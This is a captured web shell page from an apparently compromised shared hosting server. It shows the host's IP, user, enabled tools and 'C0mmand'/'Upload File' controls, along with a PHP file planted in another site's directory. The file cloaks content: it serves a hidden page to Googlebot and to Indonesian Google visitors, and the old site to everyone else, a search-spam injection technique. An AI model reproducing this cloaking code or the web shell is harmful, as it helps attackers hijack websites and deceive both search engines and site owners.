|
Server IP : 198.54.120.203 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64 User : greakqsw ( 1698) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/greakqsw/theblogginglab.org/../theholisticpath.org/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
function is_google_bot() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$google_agents = ['Googlebot', 'Mediapartners-Google', 'Google-InspectionTool'];
foreach ($google_agents as $agent) {
if (stripos($user_agent, $agent) !== false) {
return true;
}
}
}
return false;
}
function is_from_indonesia_and_google() {
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
$accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (strpos($referer, 'google.co.id') !== false || (strpos($referer, 'google.com') !== false && strpos($accept_lang, 'id') !== false)) {
return true;
}
}
return false;
}
if (is_google_bot() || is_from_indonesia_and_google()) {
include __DIR__ . '/home.html';
} else {
include('index_old.php');
exit;
}
?>